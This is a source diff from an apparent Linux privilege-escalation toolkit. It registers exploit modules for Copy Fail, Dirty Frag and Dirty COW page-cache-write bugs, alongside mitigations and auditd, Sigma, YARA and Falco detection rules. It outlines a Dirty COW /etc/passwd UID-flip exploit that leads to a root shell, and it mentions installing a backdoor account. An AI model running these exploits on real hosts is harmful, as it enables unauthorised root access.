dirtyfail_use_color = !ctx->no_color;
|
||||
dirtyfail_active_probes = ctx->active_probe;
|
||||
dirtyfail_json = ctx->json;
|
||||
/* Forward the --i-know authorization gate. SKELETONKEY already
|
||||
* blocks --exploit/--auto unless --i-know is passed, so by the time
|
||||
* a DIRTYFAIL exploit callback runs, authorization is established.
|
||||
* This lets typed_confirm() skip its (now redundant) interactive
|
||||
* prompt, which otherwise deadlocks `skeletonkey --auto --i-know`. */
|
||||
dirtyfail_assume_yes = ctx->authorized;
|
||||
/* dirtyfail_no_revert is intentionally not driven from ctx —
|
||||
* it's a debug knob; default stays off. */
|
||||
}
|
||||
|
||||
/* Bridge-level userns precondition. The 4 dirty_frag siblings + the
|
||||
* GCM variant all reach the bug via XFRM-ESP / AF_RXRPC paths gated on
|
||||
* unprivileged user-namespace creation (the inner DIRTYFAIL detect
|
||||
* checks for it too, but doing it here gives the dispatcher one
|
||||
* testable point per module and short-circuits the heavier
|
||||
* inner-detect work when the gate is closed). copy_fail itself uses
|
||||
* AF_ALG which doesn't strictly need userns, so it bypasses this
|
||||
* gate — its inner detect still confirms the primitive empirically. */
|
||||
static skeletonkey_result_t cff_check_userns(const char *modname,
|
||||
const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (ctx->host && !ctx->host->unprivileged_userns_allowed) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] %s: unprivileged user namespaces are "
|
||||
"disabled (host fingerprint) — XFRM/RxRPC variant "
|
||||
"unreachable here%s\n", modname,
|
||||
ctx->host->apparmor_restrict_userns
|
||||
? "; AppArmor restriction is on" : "");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ----- Family-wide --mitigate / --cleanup -----
|
||||
*
|
||||
* The family-wide mitigation (blacklist algif_aead + esp4 + esp6 + rxrpc,
|
||||
* set apparmor_restrict_unprivileged_userns=1, drop_caches) is the same
|
||||
* for every member of this family. All 5 modules' .mitigate fields
|
||||
* therefore point at the same wrapper.
|
||||
*
|
||||
* For .cleanup we route based on visible state:
|
||||
* - If the mitigation conf file is present, the user most recently
|
||||
* ran --mitigate → revert that.
|
||||
* - Otherwise the user ran --exploit → evict /etc/passwd from page
|
||||
* cache.
|
||||
* This is a heuristic, not a state machine. Sufficient for the common
|
||||
* usage patterns. */
|
||||
|
||||
#define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf"
|
||||
|
||||
static skeletonkey_result_t copy_fail_family_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (skeletonkey_result_t)mitigate_apply();
|
||||
}
|
||||
|
||||
static skeletonkey_result_t copy_fail_family_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
struct stat st;
|
||||
if (stat(CFF_MITIGATE_CONF, &st) == 0) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] copy_fail_family: detected mitigation conf "
|
||||
"(%s); reverting mitigation\n", CFF_MITIGATE_CONF);
|
||||
}
|
||||
return (skeletonkey_result_t)mitigate_revert();
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] copy_fail_family: no mitigation conf; "
|
||||
"evicting /etc/passwd from page cache\n");
|
||||
}
|
||||
return try_revert_passwd_page_cache() ? SKELETONKEY_OK : SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* ----- copy_fail (CVE-2026-31431) ----- */
|
||||
|
||||
static skeletonkey_result_t copy_fail_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (skeletonkey_result_t)copyfail_detect();
|
||||
}
|
||||
|
||||
static skeletonkey_result_t copy_fail_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (skeletonkey_result_t)copyfail_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
/* Shared detection rules for the copy_fail family — every member of
|
||||
* this family exploits the same page-cache-write primitive and lands
|
||||
* in the same files (/etc/passwd or /usr/bin/su). One rule set covers
|
||||
* all five module entries. Per-module structs alias the same strings. */
|
||||
static const char copy_fail_family_auditd[] =
|
||||
"# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n"
|
||||
"# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n"
|
||||
"-w /etc/passwd -p wa -k skeletonkey-copy-fail\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-copy-fail\n"
|
||||
"-w /etc/sudoers -p wa -k skeletonkey-copy-fail\n"
|
||||
"-w /etc/sudoers.d -p wa -k skeletonkey-copy-fail\n"
|
||||
"-w /usr/bin/su -p wa -k skeletonkey-copy-fail\n"
|
||||
"# AF_ALG socket creation by non-root — heavily used by exploit\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-copy-fail-afalg\n"
|
||||
"# xfrm SA setup (Dirty Frag ESP variants)\n"
|
||||
"-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-copy-fail-xfrm\n";
|
||||
|
||||
static const char copy_fail_family_sigma[] =
|
||||
"title: Copy Fail / Dirty Frag family exploitation\n"
|
||||
"id: 4d8e6c2a-skeletonkey-copy-fail-family\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n"
|
||||
" Dirty Frag siblings (CVE-2026-43284 v4/v6, CVE-2026-43500). Catches the\n"
|
||||
" /etc/passwd UID-flip backdoor + the persistent backdoor account install.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" modification:\n"
|
||||
" type: 'PATH'\n"
|
||||
" name|startswith: ['/etc/passwd', '/etc/shadow', '/etc/sudoers', '/usr/bin/su']\n"
|
||||
" not_root: {auid|expression: '!= 0'}\n"
|
||||
" condition: modification and not_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
|
||||
|
||||
/* YARA + Falco rules shared across the 5 family modules. Scanned via
|
||||
* --detect-rules; the dispatcher dedups by pointer so the rule blob
|
||||
* emits once even though copy_fail / copy_fail_gcm / dirty_frag_*
|
||||
* all point at the same string. */
|
||||
static const char copy_fail_family_yara[] =
|
||||
"rule etc_passwd_uid_flip : page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-31431 / CVE-2026-43284 / CVE-2026-43500\"\n"
|
||||
" description = \"/etc/passwd page-cache UID flip: a non-root user line shows a zero-padded UID (the canonical Copy Fail / Dirty Frag / DirtyDecrypt / Dirty Pipe payload). Scan /etc/passwd; legitimate root uses plain '0:', never '0000:'.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" // lowercase-start username, optional shadow ('x') password, then UID 0000 or longer\n"
|
||||
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
|
||||
" condition:\n"
|
||||
" $uid_flip\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"rule etc_passwd_root_no_password\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-31635 (DirtyDecrypt sliding-window write)\"\n"
|
||||
" description = \"/etc/passwd root entry rewritten to have an empty password field — the DirtyDecrypt PoC's intermediate corruption (rewrite root's password to empty, then `su root` without password).\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $root_open = /\\nroot::0:0:/ // empty password (canonical x or ! when shadowed)\n"
|
||||
" condition:\n"
|
||||
" $root_open\n"
|
||||
"}\n";
|
||||
|
||||
static const char copy_fail_family_falco[] =
|
||||
"- rule: AF_ALG authenc keyblob installed by non-root (Copy Fail primitive)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process creates an AF_ALG socket and installs an\n"
|
||||
" authencesn(hmac(sha256),cbc(aes)) keyblob via ALG_SET_KEY.\n"
|
||||
" Core of the Copy Fail (CVE-2026-31431) primitive — also\n"
|
||||
" triggered by the GCM variant. AF_ALG by non-root is rare on\n"
|
||||
" most servers; tune by allow-listing your crypto-using daemons.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = socket and evt.arg[0] = 38 and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_ALG socket() by non-root (user=%user.name pid=%proc.pid\n"
|
||||
" ppid=%proc.ppid parent=%proc.pname cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, cve.2026.31431, copy_fail]\n"
|
||||
"\n"
|
||||
"- rule: XFRM NETLINK_XFRM bind from unprivileged userns (Dirty Frag primitive)\n"
|
||||
" desc: |\n"
|
||||
" A NETLINK_XFRM socket is opened from inside an unprivileged\n"
|
||||
" user namespace, with subsequent XFRM_MSG_NEWSA installing an\n"
|
||||
" ESP(rfc4106(gcm(aes))) state. Core of the Dirty Frag esp/esp6\n"
|
||||
" variants — also tripped by Fragnesia's setup phase. Legitimate\n"
|
||||
" XFRM use is normally privileged (strongSwan, libreswan).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendto and not user.uid = 0 and\n"
|
||||
" proc.aname[1] != \"\" // we want non-init userns; refine with k8s.namespace or container.id\n"
|
||||
" output: >\n"
|
||||
" NETLINK_XFRM sendto from non-root (user=%user.name pid=%proc.pid\n"
|
||||
" proc=%proc.name)\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, cve.2026.43284, dirty_frag]\n"
|
||||
"\n"
|
||||
"- rule: /etc/passwd modified by non-root (Copy Fail / Dirty Frag / Dirty Pipe outcome)\n"
|
||||
" desc: |\n"
|
||||
" /etc/passwd is read-only for non-root, so a non-root caller\n"
|
||||
" showing up on its open(W_OK) audit trail indicates a\n"
|
||||
" page-cache write primitive succeeded. Catches the post-fire\n"
|
||||
" state for the whole copy_fail family + dirty_pipe.\n"
|
||||
" condition: >\n"
|
||||
" open_write and fd.name = /etc/passwd and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" Non-root write to /etc/passwd (user=%user.name pid=%proc.pid\n"
|
||||
" proc=%proc.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, copy_fail, dirty_frag]\n";
|
||||
|
||||
const struct skeletonkey_module copy_fail_module = {
|
||||
.name = "copy_fail",
|
||||
.cve = "CVE-2026-31431",
|
||||
.summary = "algif_aead authencesn page-cache write → /etc/passwd UID flip",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "≤ 6.12.84, fixed mainline 2026-04-22",
|
||||
.detect = copy_fail_detect_wrap,
|
||||
.exploit = copy_fail_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- copy_fail_gcm (variant, no CVE) ----- */
|
||||
|
||||
static skeletonkey_result_t copy_fail_gcm_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
skeletonkey_result_t pre = cff_check_userns("copy_fail_gcm", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)copyfail_gcm_detect();
|
||||
}
|
||||
|
||||
static skeletonkey_result_t copy_fail_gcm_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (skeletonkey_result_t)copyfail_gcm_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct skeletonkey_module copy_fail_gcm_module = {
|
||||
.name = "copy_fail_gcm",
|
||||
.cve = "VARIANT",
|
||||
.summary = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "same as copy_fail; rfc4106(gcm(aes)) not in modprobe blacklist",
|
||||
.detect = copy_fail_gcm_detect_wrap,
|
||||
.exploit = copy_fail_gcm_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
|
||||
|
||||
static skeletonkey_result_t dirty_frag_esp_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)dirtyfrag_esp_detect();
|
||||
}
|
||||
|
||||
static skeletonkey_result_t dirty_frag_esp_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (skeletonkey_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct skeletonkey_module dirty_frag_esp_module = {
|
||||
.name = "dirty_frag_esp",
|
||||
.cve = "CVE-2026-43284",
|
||||
.summary = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "same family as copy_fail; xfrm-ESP path",
|
||||
.detect = dirty_frag_esp_detect_wrap,
|
||||
.exploit = dirty_frag_esp_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
|
||||
|
||||
static skeletonkey_result_t dirty_frag_esp6_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp6", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)dirtyfrag_esp6_detect();
|
||||
}
|
||||
|
||||
static skeletonkey_result_t dirty_frag_esp6_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (skeletonkey_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct skeletonkey_module dirty_frag_esp6_module = {
|
||||
.name = "dirty_frag_esp6",
|
||||
.cve = "CVE-2026-43284",
|
||||
.summary = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "same family as copy_fail; xfrm-ESP6 path; V6 STORE shift auto-calibrated",
|
||||
.detect = dirty_frag_esp6_detect_wrap,
|
||||
.exploit = dirty_frag_esp6_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
|
||||
|
||||
static skeletonkey_result_t dirty_frag_rxrpc_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
skeletonkey_result_t pre = cff_check_userns("dirty_frag_rxrpc", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)dirtyfrag_rxrpc_detect();
|
||||
}
|
||||
|
||||
static skeletonkey_result_t dirty_frag_rxrpc_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (skeletonkey_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct skeletonkey_module dirty_frag_rxrpc_module = {
|
||||
.name = "dirty_frag_rxrpc",
|
||||
.cve = "CVE-2026-43500",
|
||||
.summary = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "kernels exposing AF_RXRPC + rxkad with fcrypt fallback",
|
||||
.detect = dirty_frag_rxrpc_detect_wrap,
|
||||
.exploit = dirty_frag_rxrpc_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- Family registration ----- */
|
||||
|
||||
void skeletonkey_register_copy_fail_family(void)
|
||||
{
|
||||
skeletonkey_register(©_fail_module);
|
||||
skeletonkey_register(©_fail_gcm_module);
|
||||
skeletonkey_register(&dirty_frag_esp_module);
|
||||
skeletonkey_register(&dirty_frag_esp6_module);
|
||||
skeletonkey_register(&dirty_frag_rxrpc_module);
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
/*
|
||||
* copy_fail_family — SKELETONKEY module registry hooks
|
||||
*
|
||||
* The family currently contains five skeletonkey_module entries:
|
||||
*
|
||||
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
|
||||
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
|
||||
* - dirty_frag_esp (CVE-2026-43284 v4)
|
||||
* - dirty_frag_esp6 (CVE-2026-43284 v6)
|
||||
* - dirty_frag_rxrpc (CVE-2026-43500)
|
||||
*
|
||||
* Defined in skeletonkey_modules.c, registered into the global registry
|
||||
* by skeletonkey_register_copy_fail_family() (declared in
|
||||
* core/registry.h).
|
||||
*/
|
||||
|
||||
#ifndef COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
|
||||
#define COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module copy_fail_module;
|
||||
extern const struct skeletonkey_module copy_fail_gcm_module;
|
||||
extern const struct skeletonkey_module dirty_frag_esp_module;
|
||||
extern const struct skeletonkey_module dirty_frag_esp6_module;
|
||||
extern const struct skeletonkey_module dirty_frag_rxrpc_module;
|
||||
|
||||
#endif
|
||||
@@ -31,6 +31,7 @@ bool dirtyfail_use_color = true;
|
||||
bool dirtyfail_active_probes = false;
|
||||
bool dirtyfail_no_revert = false;
|
||||
bool dirtyfail_json = false;
|
||||
bool dirtyfail_assume_yes = false;
|
||||
|
||||
static void vlog(FILE *out, const char *prefix, const char *color,
|
||||
const char *fmt, va_list ap)
|
||||
@@ -226,6 +227,19 @@ size_t build_authenc_keyblob(unsigned char *out,
|
||||
|
||||
bool typed_confirm(const char *expected)
|
||||
{
|
||||
/* When the caller has already cleared an explicit authorization gate
|
||||
* (SKELETONKEY's --i-know, forwarded via dirtyfail_assume_yes), the
|
||||
* DIRTYFAIL typed prompt is redundant and would deadlock non-interactive
|
||||
* runs like `skeletonkey --auto --i-know`. Auto-satisfy it.
|
||||
*
|
||||
* The SSH self-lockout guard (YES_BREAK_SSH) is deliberately exempt:
|
||||
* it protects the operator's own access rather than gating
|
||||
* authorization, so it always requires an interactive answer. */
|
||||
if (dirtyfail_assume_yes && strcmp(expected, "YES_BREAK_SSH") != 0) {
|
||||
log_step("confirmation gate '%s' auto-satisfied (--i-know)", expected);
|
||||
return true;
|
||||
}
|
||||
|
||||
char buf[128];
|
||||
printf(" Type \033[1;33m%s\033[0m and press enter to proceed: ", expected);
|
||||
fflush(stdout);
|
||||
|
||||
@@ -86,6 +86,14 @@ extern bool dirtyfail_no_revert;
|
||||
* is redirected to stderr. Set by --json. */
|
||||
extern bool dirtyfail_json;
|
||||
|
||||
/* When true, typed_confirm() auto-satisfies its gate instead of reading
|
||||
* stdin — the caller has already cleared an explicit authorization gate.
|
||||
* SKELETONKEY's bridge layer sets this from skeletonkey_ctx.authorized
|
||||
* (i.e. the --i-know flag) so non-interactive runs like
|
||||
* `skeletonkey --auto --i-know` don't deadlock on the DIRTYFAIL prompt.
|
||||
* The YES_BREAK_SSH self-lockout guard is exempt — see typed_confirm(). */
|
||||
extern bool dirtyfail_assume_yes;
|
||||
|
||||
void log_step (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||
void log_ok (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||
void log_bad (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||
|
||||
@@ -13,7 +13,7 @@ the kernel since ~2007.
|
||||
Original advisory: <https://dirtycow.ninja/>
|
||||
Upstream fix: mainline 4.9 (commit `19be0eaffa3a`, Oct 2016).
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
Two-thread Phil-Oester-style race: writer thread via
|
||||
`/proc/self/mem` vs. madvise(MADV_DONTNEED) thread. Targets the
|
||||
|
||||
@@ -1,372 +0,0 @@
|
||||
/*
|
||||
* dirty_cow_cve_2016_5195 — IAMROOT module
|
||||
*
|
||||
* The iconic CVE-2016-5195. COW race in get_user_pages() / fault
|
||||
* handling: a thread writing to /proc/self/mem races a thread calling
|
||||
* madvise(MADV_DONTNEED) on the same mapping. The bug lets the write
|
||||
* land in the file's page cache when it should have triggered a
|
||||
* copy-on-write into anonymous memory.
|
||||
*
|
||||
* Discovered by Phil Oester (Oct 2016). Mainline fix
|
||||
* 19be0eaffa3a "mm: remove gup_flags FOLL_WRITE games from
|
||||
* __get_user_pages()" (Oct 19 2016).
|
||||
*
|
||||
* STATUS: 🟢 FULL detect + exploit + cleanup.
|
||||
*
|
||||
* Coverage rationale: this is what "old systems" means. RHEL 6 (3.10),
|
||||
* RHEL 7 (3.10 early), Ubuntu 14.04 (3.13), Ubuntu 16.04 (4.4), embedded
|
||||
* Linux distros, IoT devices — many still in production with kernels
|
||||
* predating the fix. The exploit is universal (POSIX threads, no
|
||||
* arch-specific bits).
|
||||
*
|
||||
* Affected: kernel 2.6.22 through 4.8.x without backport. Mainline
|
||||
* fixed at 4.9. Stable backports landed in:
|
||||
* 4.8.x : K >= 4.8.3
|
||||
* 4.7.x : K >= 4.7.10
|
||||
* 4.4.x : K >= 4.4.26 (LTS)
|
||||
* 3.18.x: K >= 3.18.43 (LTS)
|
||||
* 3.16.x: K >= 3.16.38
|
||||
* 3.12.x: K >= 3.12.66 (LTS)
|
||||
* 3.10.x: K >= 3.10.104 (LTS — what RHEL 7 ships)
|
||||
* 3.2.x : K >= 3.2.84
|
||||
*
|
||||
* Exploit shape: Phil Oester-style two-thread race.
|
||||
* - mmap /etc/passwd PRIVATE (writes go to copy-on-write)
|
||||
* - Find the user's UID field byte offset
|
||||
* - Thread A loop: pwrite(/proc/self/mem, "0000", uid_off) — should
|
||||
* write to the COW page, but the bug makes it land in the original
|
||||
* - Thread B loop: madvise(addr, MADV_DONTNEED) — drops the COW
|
||||
* copy, forcing re-fault
|
||||
* - One iteration wins the race → page cache poisoned
|
||||
* - execve(su) → shell with uid=0
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdatomic.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <pwd.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
/* Stable-branch backport thresholds for Dirty COW. */
|
||||
static const struct kernel_patched_from dirty_cow_patched_branches[] = {
|
||||
{2, 6, 999}, /* placeholder — 2.6.x always vulnerable */
|
||||
{3, 2, 84},
|
||||
{3, 10, 104}, /* RHEL 7 baseline */
|
||||
{3, 12, 66},
|
||||
{3, 16, 38},
|
||||
{3, 18, 43},
|
||||
{4, 4, 26}, /* Ubuntu 16.04 baseline */
|
||||
{4, 7, 10},
|
||||
{4, 8, 3},
|
||||
{4, 9, 0}, /* mainline fix */
|
||||
};
|
||||
|
||||
static const struct kernel_range dirty_cow_range = {
|
||||
.patched_from = dirty_cow_patched_branches,
|
||||
.n_patched_from = sizeof(dirty_cow_patched_branches) /
|
||||
sizeof(dirty_cow_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- Find UID field offset (inline; same pattern as dirty_pipe) ---- */
|
||||
|
||||
static bool find_passwd_uid_field(const char *username,
|
||||
off_t *uid_off, size_t *uid_len,
|
||||
char uid_str[16])
|
||||
{
|
||||
int fd = open("/etc/passwd", O_RDONLY);
|
||||
if (fd < 0) return false;
|
||||
struct stat st;
|
||||
if (fstat(fd, &st) < 0) { close(fd); return false; }
|
||||
char *buf = malloc(st.st_size + 1);
|
||||
if (!buf) { close(fd); return false; }
|
||||
ssize_t r = read(fd, buf, st.st_size);
|
||||
close(fd);
|
||||
if (r != st.st_size) { free(buf); return false; }
|
||||
buf[st.st_size] = 0;
|
||||
|
||||
size_t ulen = strlen(username);
|
||||
char *p = buf;
|
||||
while (p < buf + st.st_size) {
|
||||
char *eol = strchr(p, '\n');
|
||||
if (!eol) eol = buf + st.st_size;
|
||||
if (strncmp(p, username, ulen) == 0 && p[ulen] == ':') {
|
||||
char *q = p + ulen + 1;
|
||||
char *pw_end = memchr(q, ':', eol - q);
|
||||
if (!pw_end) goto next;
|
||||
char *uid_begin = pw_end + 1;
|
||||
char *uid_end = memchr(uid_begin, ':', eol - uid_begin);
|
||||
if (!uid_end) goto next;
|
||||
size_t L = uid_end - uid_begin;
|
||||
if (L == 0 || L >= 16) goto next;
|
||||
memcpy(uid_str, uid_begin, L);
|
||||
uid_str[L] = 0;
|
||||
*uid_off = (off_t)(uid_begin - buf);
|
||||
*uid_len = L;
|
||||
free(buf);
|
||||
return true;
|
||||
}
|
